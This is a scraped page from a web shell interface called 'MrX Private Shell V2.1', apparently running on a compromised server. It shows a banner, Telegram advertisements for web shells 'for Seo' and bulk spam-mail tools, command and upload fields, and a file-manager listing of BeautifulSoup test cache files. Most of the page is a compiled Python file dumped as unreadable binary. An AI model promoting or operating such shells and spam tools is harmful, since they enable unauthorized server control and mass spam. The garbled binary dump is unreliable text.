__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g���t�SSKrSSKJrJrJrJrJrJrJrJ	r	J
r
Jr SSKJ
r
 "SS\
5r"SS\
5rg)	�N)
�CData�Comment�Declaration�Doctype�NavigableString�RubyParenthesisString�RubyTextString�Script�
Stylesheet�TemplateString�)�SoupTestc� �\rSrSrSrSrSrg)�TestNavigableString�c���[S5n[S5n[S5nSUR5:XdeSUR:XdeSURSS9:XdeS/[UR5:XdeS/[UR5:XdeS/[UR55:XdeSUR5:XdeSUR:XdeSURSS9:XdeS/[UR5:XdeS/[UR5:XdeS/[UR55:XdeSUR5:Xde/[UR5:Xde/[UR5:Xde/[UR55:XdeS	URS[S
9:XdeSUR[[4S9:Xdeg)Nzfee zfie zfoe �feeT��strip�fie��foe�r�types�r)	rrr�get_text�string�list�strings�stripped_strings�_all_strings)�self�s�cdata�comments    �@/usr/lib/python3/dist-packages/bs4/tests/test_navigablestring.py�test_text_acquisition_methods�1TestNavigableString.test_text_acquisition_methodss���
�F�#���f�
���&�/�������%�%�%�����!�!�!���
�
��
�.�.�.�.��x�4��	�	�?�*�*�*��w�$�q�1�1�2�2�2�2��x�4���� 0�1�1�1�1�����)�)�)�)�����%�%�%�����T��2�2�2�2��x�4��
�
�.�.�.�.��w�$�u�5�5�6�6�6�6��x�4�� 2� 2� 4�5�5�5�5��W�%�%�'�'�'�'��T�'�/�/�*�*�*�*��T�'�2�2�3�3�3�3��T�'�.�.�0�1�1�1�1���(�(�t�7�(�C�C�C�C���)�)��/�0J�)�K�K�K�K�c���URS5RnSURLde[R"[
5 SUlSSS5 g!,(df   g=f)Nr#�foo)�soupr�name�pytest�raises�AttributeError)r"rs  r&�'test_string_has_immutable_name_property�;TestNavigableString.test_string_has_immutable_name_property5sF�����3��&�&���v�{�{�"�"�"�
�]�]�>�
*��F�K�+�
*�
*�s�A�
A&�N)�__name__�
__module__�__qualname__�__firstlineno__r'r1�__static_attributes__r3r)r&rrs��L�B r)rc�8�\rSrSrSrSrSrSrSrSr	Sr
g	)
�TestNavigableStringSubclasses�=c���URS5n[S5nURSU5 [U5S:XdeUR	SS9S:XdeUR
SS:Xdeg)Nrr+r
z<![CDATA[foo]]>�rr)r,r�insert�str�find�contents)r"r,r$s   r&�
test_cdata�(TestNavigableStringSubclasses.test_cdata>sk���y�y��}���e������A�u���4�y�-�-�-�-��y�y��y�&�%�/�/�/��}�}�Q��5�(�(�(r)c��^�STlU4SjnTRS5n[S5nURSU5 SUR	US9:XdeSTR:Xdeg)	z[Text inside a CData object is passed into the formatter.

But the return value is ignored.
rc�0>�T=RS-
slg)Nr
zBITTER FAILURE��count)�argsr"s �r&�	increment�NTestNavigableStringSubclasses.test_cdata_is_never_formatted.<locals>.incrementPs����J�J�!�O�J�#r)rz<><><>r
s<![CDATA[<><><>]]>)�	formatterN)rGr,rr>�encode)r"rIr,r$s`   r&�test_cdata_is_never_formatted�;TestNavigableStringSubclasses.test_cdata_is_never_formattedHs`�����
�	$��y�y��}���h������A�u��$����i��(H�H�H�H��D�J�J���r)c��[S5nURS5nURSU5 UR5S:Xdeg)Nr+rr
s<!DOCTYPE foo>
)rr,r>rL)r"�doctyper,s   r&�test_doctype_ends_in_newline�:TestNavigableStringSubclasses.test_doctype_ends_in_newlineZs=���%�.���y�y��}�����A�w���{�{�}� 3�3�3�3r)c�F�[S5nSUR5:Xdeg)Nr+z<?foo?>)r�output_ready)r"�ds  r&�test_declaration�.TestNavigableStringSubclasses.test_declarationbs!�������A�N�N�,�,�,�,r)c��URS5n[[[/UR	SS9Vs/sHo"R
PM sn:XdeURS5n[
SURRSS955(deURRn[U[5(de[U[5(aeSnURU5nXARRS5:Xdegs snf)	Nz7<div>text</div><script>text</script><style>text</style>Tr=z><template>Some text<p>In a tag</p></template>Some text outsidec3�B# �UHn[U[5v� M g7f)N)�
isinstancer)�.0�xs  r&�	<genexpr>�OTestNavigableStringSubclasses.test_default_string_containers.<locals>.<genexpr>ts!���
�;��
�q�.�)�)�;�s�rsB<template>Some text<p>In a tag</p><!--with a comment--></template>�utf8)
r,rr
r�find_all�	__class__�all�templater!�next_siblingrZrrL)r"r,r\�outside�markups     r&�test_default_string_containers�<TestNavigableStringSubclasses.test_default_string_containersfs	���y�y�R�S�����4�!%���d��!;�9
�!;�A�K�K�!;�9
�
�	
�
��y�y�L�
���
��]�]�/�/�d�/�;�
�
�
�	
�
��-�-�,�,���'�?�3�3�3�3��g�~�6�6�6�6�
W���y�y�� �����-�-�f�5�5�5�5��59
s�D	c�J�SnURU5n[URR[5(de[UR
R[5(deSURSS9:XdeSURS[[[4S9:Xdeg)NuU<ruby>漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp></ruby>u漢字Tru漢(kan)字(ji)r)	r,rZ�rprr�rtr	rr)r"rfr,s   r&�test_ruby_strings�/TestNavigableStringSubclasses.test_ruby_strings�s���h���y�y�� ���$�'�'�.�.�*?�@�@�@�@��$�'�'�.�.�.�9�9�9�9��4�=�=�t�=�4�4�4�4� �D�M�M����@U�V�%2�%
�
�	
�
r)rFN)r4r5r6r7rBrMrQrVrgrlr8r3r)r&r:r:=s!��)��$4�-�6�@

r)r:)r.�bs4.elementrrrrrrr	r
rrrrrr:r3r)r&�<module>ros7��
�����' �(�' �TS
�H�S
r)

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 66.1 KB 0644
test_builder.cpython-313.pyc File 1.59 KB 0644
test_builder_registry.cpython-313.pyc File 7.62 KB 0644
test_css.cpython-313.pyc File 28.35 KB 0644
test_dammit.cpython-313.pyc File 19.46 KB 0644
test_element.cpython-313.pyc File 6.04 KB 0644
test_filter.cpython-313.pyc File 30.98 KB 0644
test_formatter.cpython-313.pyc File 7.59 KB 0644
test_fuzz.cpython-313.pyc File 6.91 KB 0644
test_html5lib.cpython-313.pyc File 11.63 KB 0644
test_htmlparser.cpython-313.pyc File 7.14 KB 0644
test_lxml.cpython-313.pyc File 8.05 KB 0644
test_navigablestring.cpython-313.pyc File 7.7 KB 0644
test_pageelement.cpython-313.pyc File 22.48 KB 0644
test_soup.cpython-313.pyc File 31.39 KB 0644
test_tag.cpython-313.pyc File 13.9 KB 0644
test_tree.cpython-313.pyc File 91.45 KB 0644
Filemanager